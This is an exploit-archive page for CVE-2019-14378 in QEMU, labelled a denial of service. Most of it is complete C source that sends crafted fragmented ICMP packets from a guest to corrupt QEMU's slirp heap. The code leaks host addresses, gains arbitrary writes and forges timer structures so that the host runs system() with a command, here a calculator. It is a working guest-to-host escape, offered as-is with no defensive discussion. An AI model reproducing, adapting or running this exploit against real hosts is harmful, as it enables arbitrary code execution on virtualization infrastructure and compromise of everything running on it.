what you don't know can hurt you

QEMU Denial Of Service

QEMU Denial Of Service
Posted Aug 30, 2019
Authored by vishnudevtj

QEMU suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2019-14378
MD5 | 78b5e64a07ffde1637ff6ddc052faf6f

QEMU Denial Of Service

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#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <linux/icmp.h>
#include <linux/if_packet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <time.h>


#define die(x) do { \
perror(x); \
exit(EXIT_FAILURE); \
}while(0);

// * * * * * * * * * * * * * * * Constans * * * * * * * * * * * * * * * * * *

#define SRC_ADDR "10.0.2.15"
#define DST_ADDR "10.0.2.2"

#define INTERFACE "ens3"

#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data
#define MIN_MTU 12000

// * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * *

#define SYSTEM_PLT 0x029b290
#define QEMU_CLOCK 0x10e8200
#define QEMU_TIMER_NOTIFY_CB 0x2f4bff
#define MAIN_LOOP_TLG 0x10e81e0
#define CPU_UPDATE_STATE 0x488190

// Some place in bss which is not used to craft fake stucts
#define FAKE_STRUCT 0xf43360

// * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * *

struct mbuf {
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;

char * m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */

void *slirp;
char resolution_requested;
u_int64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char * m_dat;
};


struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int scale;
};


struct QEMUTimerList {
void * clock;
char active_timers_lock[0x38];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};



// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

int raw_socket;
int recv_socket;
int spray_id;
int idx;
char mac[6];

void * code_leak;
void * heap_leak;

void *Malloc(size_t size) {
void * ptr = calloc(size,1);
if (!ptr) {
die("malloc() failed to allocate");
}
return ptr;
}

unsigned short in_cksum(unsigned short *ptr,int nbytes) {

register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/

sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}

/*
* Add back carry outs from top 16 bits to low 16 bits.
*/

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}

void hex_dump(char *desc, void *addr, int len)
{
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char*)addr;
if (desc != NULL)
printf ("%s:\n", desc);
for (i = 0; i < len; i++) {
if ((i % 16) == 0) {
if (i != 0)
printf(" %s\n", buff);
printf(" %04x ", i);
}
printf(" %02x", pc[i]);
if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
buff[i % 16] = '.';
} else {
buff[i % 16] = pc[i];
}
buff[(i % 16) + 1] = '\0';
}
while ((i % 16) != 0) {
printf(" ");
i++;
}
printf(" %s\n", buff);
}

char * ethernet_header(char * eth_hdr){

/* src MAC : 52:54:00:12:34:56 */
memcpy(&eth_hdr[6],mac,6);

// Next is ethernet type code (ETH_P_IP for IPv4).
// http://www.iana.org/assignments/ethernet-numbers
eth_hdr[12] = ETH_P_IP / 256;
eth_hdr[13] = ETH_P_IP % 256;
return eth_hdr;
}

void ip_header(struct iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len,
u_int8_t protocol,u_int16_t id,uint16_t frag_off){

/* rfc791 */
ip->ihl = IP4_HDRLEN / sizeof (uint32_t);
ip->version = 4;
ip->tos = 0x0;
ip->tot_len = htons(IP4_HDRLEN + payload_len);
ip->id = htons(id);
ip->ttl = 64;
ip->frag_off = htons(frag_off);
ip->protocol = protocol;
ip->saddr = src_addr;
ip->daddr = dst_addr;
ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN);
}

void icmp_header(struct icmphdr *icmp, char *data, size_t size) {

/* rfc792 */
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(0);
icmp->un.echo.sequence = htons(0);
if (data) {
char * payload = (char * )icmp+ ICMP_HDRLEN;
memcpy(payload, data, size);
}

icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size);

}

void send_pkt(char *frame, u_int32_t frame_length) {

struct sockaddr_ll sock;
sock.sll_family = AF_PACKET;
sock.sll_ifindex = idx;
sock.sll_halen = 6;
memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t));

if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock,
sizeof(sock))<0)
die("sendto()");
}

void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {

u_int32_t src_addr, dst_addr;
src_addr = inet_addr(SRC_ADDR);
dst_addr = inet_addr(DST_ADDR);

char * pkt = Malloc(IP_MAXPACKET);
struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);

ethernet_header(pkt);
u_int16_t payload_len = size;
ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off);

if(data) {
char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN;
memcpy(payload, data, payload_len);
}

u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len;
send_pkt(pkt,frame_length);
free(pkt);
}

void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {

char * pkt = Malloc(IP_MAXPACKET);
struct icmphdr * icmp = (struct icmphdr * )(pkt);

if(!data)
data = Malloc(size);
icmp_header(icmp,data,size);

u_int32_t len = ICMP_HDRLEN + size;
send_ip4(id,len,pkt,frag_off);
free(pkt);
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void initialize() {
int sd;
struct ifreq ifr;
char interface[40];
int mtu;

srand(time(NULL));
strcpy (interface, INTERFACE);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
die("socket() failed to get socket descriptor for using ioctl()");
}
// Use ioctl() to get interface maximum transmission unit (MTU).
memset (&ifr, 0, sizeof (ifr));
strcpy (ifr.ifr_name, interface);
if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) {
die("ioctl() failed to get MTU ");
}
mtu = ifr.ifr_mtu;
printf ("MTU of interface %s : %i\n", interface, mtu);
if (mtu < MIN_MTU) {
printf("Run\n$ ip link set dev %s mtu 12000\n",interface);
die("");
}

// Use ioctl() to look up interface name and get its MAC address.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
die("ioctl() failed to get source MAC address ");
}
memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
printf ("MAC %s :", interface);
for (int i=0; i<5; i++) {
printf ("%02x:", mac[i]);
}
printf ("%02x\n", mac[5]);

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
die("ioctl() failed to find interface ");
}

close (sd);
printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex);
idx = ifr.ifr_ifindex;

if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1)
die("socket() failed to obtain raw socket");


/* Bind socket to interface index. */
if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
die("setsockopt() failed to bind to interface ");
}

printf("Initialized socket discriptors\n");
}


void spray(uint32_t size, u_int32_t count) {
printf("Spraying 0x%x x ICMP[0x%x]\n",count,size);
int s;
u_int16_t frag_off;
char * data;

for (int i = 0; i < count; i++) {
send_icmp(spray_id + i,size, NULL, IP_MF);
}
}

void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size,
size_t spray_count) {

spray(0x8, spray_count);


size_t id = spray_id + spray_count;
// Target
size_t target_id = id++;
send_ip4(target_id, 0x8, NULL, IP_MF);


// Padding
send_ip4(id++, 0x8, NULL, IP_MF);
send_ip4(id++, 0x8, NULL, IP_MF);

// Piviot Point
size_t hole_1 = id++;
send_ip4(hole_1, 0x8, NULL, IP_MF);


// Padding
send_ip4(id++, 0xC30, NULL, IP_MF);

// For creating hole
size_t hole_2 = id++;
send_ip4(hole_2, 0x8, NULL, IP_MF);

// To prevent consolidation
send_ip4(id++, 0x8, NULL, IP_MF);

// This should create the fist hole
send_ip4(hole_1, 0x8, NULL, 0x1);

// This should create the second hole
send_ip4(hole_2, 0x8, NULL, 0x1);

int m_data_off = -0x70;
int m_len = m_data_off;
addr = (void *)((size_t)addr + ((m_len * -1) - addrlen));
if (addrlen != 0x8) {
m_len -= (0x8 - addrlen);
}

size_t vuln_id = id++;

char * pkt = Malloc(IP_MAXPACKET);
memset(pkt,0x0,IP_MAXPACKET);
struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);

u_int16_t pkt_len = 0xc90;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;

// The mbuf of this packet will be placed in the second hole and
// m_ext buff will be placed on the first hole, We will write wrt
// to this.
send_pkt(pkt,frame_length);

memset(pkt,0x0,IP_MAXPACKET);
ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
pkt_len = 0x8;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;

// Trigger the bug to change target's m_len
send_pkt(pkt,frame_length);


// Underflow and write, to change m_data
char addr_buf[0x8] = {0};
if (addrlen != 0x8) {
memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
} else {
memcpy(addr_buf,(char *)&addr,8);
}
send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF);
send_ip4(target_id, size, payload, 0x2);

hex_dump("Writing Payload ", payload, size);
}


void recv_leaks(){
/* Prepare recv sd */
/* Submit request for a raw socket descriptor to receive packets. */
int recvsd, fromlen, bytes, status;
struct sockaddr from;
char recv_ether_frame[IP_MAXPACKET];
struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
struct icmphdr *recv_icmphdr =
(struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);

for (;;) {

memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, (socklen_t *)&fromlen)) <
0) {
status = errno;
// Deal with error conditions first.
if (status == EAGAIN) { // EAGAIN = 11
printf("Time out\n");
} else if (status == EINTR) { // EINTR = 4
continue; // Something weird happened, but let's keep listening.
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.

// Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore
// and keep listening.
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&
(recv_iphdr->protocol == IPPROTO_ICMP) &&
(recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) &&
(recv_icmphdr->checksum == 0xffff)) {
hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes);

code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE);
size_t *ptr = (size_t *)(recv_ether_frame + 0x30);
for (int i = 0; i < (bytes / 0x8); i++) {
if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) {
heap_leak = (void *)(ptr[i] & 0xffffff000000);
break;
}
}

printf("Host Code Leak : %p\n", code_leak);
printf("Host Heap Leak : %p\n", heap_leak);
break;
}
}
}

void leak() {
u_int32_t src_addr, dst_addr;
src_addr = inet_addr(SRC_ADDR);
dst_addr = inet_addr(DST_ADDR);

/* Crafting Fake ICMP Packet For Leak */
char * pkt = Malloc(IP_MAXPACKET);
struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN);
ethernet_header(pkt);
ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF);

ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN;
ip->id = ntohs(ip->id);
ip->frag_off = htons(ip->frag_off);

icmp_header(icmp,NULL,0x0);
char * data = (char *)icmp + ICMP_HDRLEN + 8;
size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;

spray_id = rand() & 0xffff;
arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100);

// This is same as the arbitrary write function
spray_id = rand() & 0xffff;
spray(0x8, 0x20);
size_t id = spray_id + 0x20;

size_t replay_id = id++;
send_ip4(replay_id, 0x100, NULL, IP_MF);

// Target
size_t target_id = id++;
send_ip4(target_id, 0x8, NULL, IP_MF);


// Padding
send_ip4(id++, 0x8, NULL, IP_MF);
send_ip4(id++, 0x8, NULL, IP_MF);

// Piviot Point
size_t hole_1 = id++;
send_ip4(hole_1, 0x8, NULL, IP_MF);


// Padding
send_ip4(id++, 0xC30, NULL, IP_MF);

// For creating hole
size_t hole_2 = id++;
send_ip4(hole_2, 0x8, NULL, IP_MF);

// Prevent Consolidation
send_ip4(id++, 0x8, NULL, IP_MF);

// This should create the fist hole
send_ip4(hole_1, 0x8, NULL, 0x1);

// This should create the second hole
send_ip4(hole_2, 0x8, NULL, 0x1);

// Trigger the bug to change target's m_len
int m_data_off = -0xd50;
int m_len = m_data_off;
size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe + 6) ;
size_t addrlen = 0x3;

if (addrlen != 0x8) {
m_len -= (0x8 - addrlen);
}

size_t vuln_id = id++;

memset(pkt,0x0,IP_MAXPACKET);
ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);

pkt_len = 0xc90;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
send_pkt(pkt,frame_length);


memset(pkt,0x0,IP_MAXPACKET);
ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
ethernet_header(pkt);
pkt_len = 0x8;
ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
send_pkt(pkt,frame_length);


// Underflow and write to change m_data
char addr_buf[0x8] = {0};
if (addrlen != 0x8) {
memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
} else {
memcpy(addr_buf,(char *)&addr,8);
}
send_ip4(target_id, 0x8, addr_buf, 0x1);

if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
die("socket() failed to obtain a receive socket descriptor");
send_ip4(replay_id, 0x8, NULL, 0x20);
recv_leaks();


char zero[0x28] = {0};
spray_id = rand() & 0xffff;
printf("Cleaning Heap\n");
arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20);
}


void pwn() {
char payload[0x200] = {0};
struct QEMUTimerList *tl = (struct QEMUTimerList *)payload;
struct QEMUTimer *ts =
(struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList));

char cmd[] = "/usr/bin/gnome-calculator";
memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \
+sizeof(struct QEMUTimer )), \
(void *)cmd,sizeof(cmd));

void * fake_timer_list = code_leak + FAKE_STRUCT;
void * fake_timer = fake_timer_list + sizeof(struct QEMUTimerList);

void *system = code_leak + SYSTEM_PLT;
void *cmd_addr = fake_timer + sizeof(struct QEMUTimer);
/* Fake Timer List */
tl->clock = (void *)(code_leak + QEMU_CLOCK);
*(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000;
tl->active_timers = fake_timer;
tl->le_next = 0x0;
tl->le_prev = 0x0;
tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB;
tl->notify_opaque = 0x0;
tl->timers_done_ev = 0x0000000100000000;

/*Fake Timer structure*/
ts->timer_list = fake_timer_list;
ts->cb = system;
ts->opaque = cmd_addr;
ts->scale = 1000000;
ts->expire_time = -1;

spray_id = rand() & 0xffff;
size_t payload_size =
sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd);

printf("Writing fake structure : %p\n",fake_timer_list);
arbitrary_write(fake_timer_list,8,payload,payload_size,0x20);

spray_id = rand() & 0xffff;
void * main_loop_tlg = code_leak + MAIN_LOOP_TLG;
printf("Overwriting main_loop_tlg %p\n",main_loop_tlg);
arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20);
}

int main() {
initialize();
leak();
pwn();
return 0;
}
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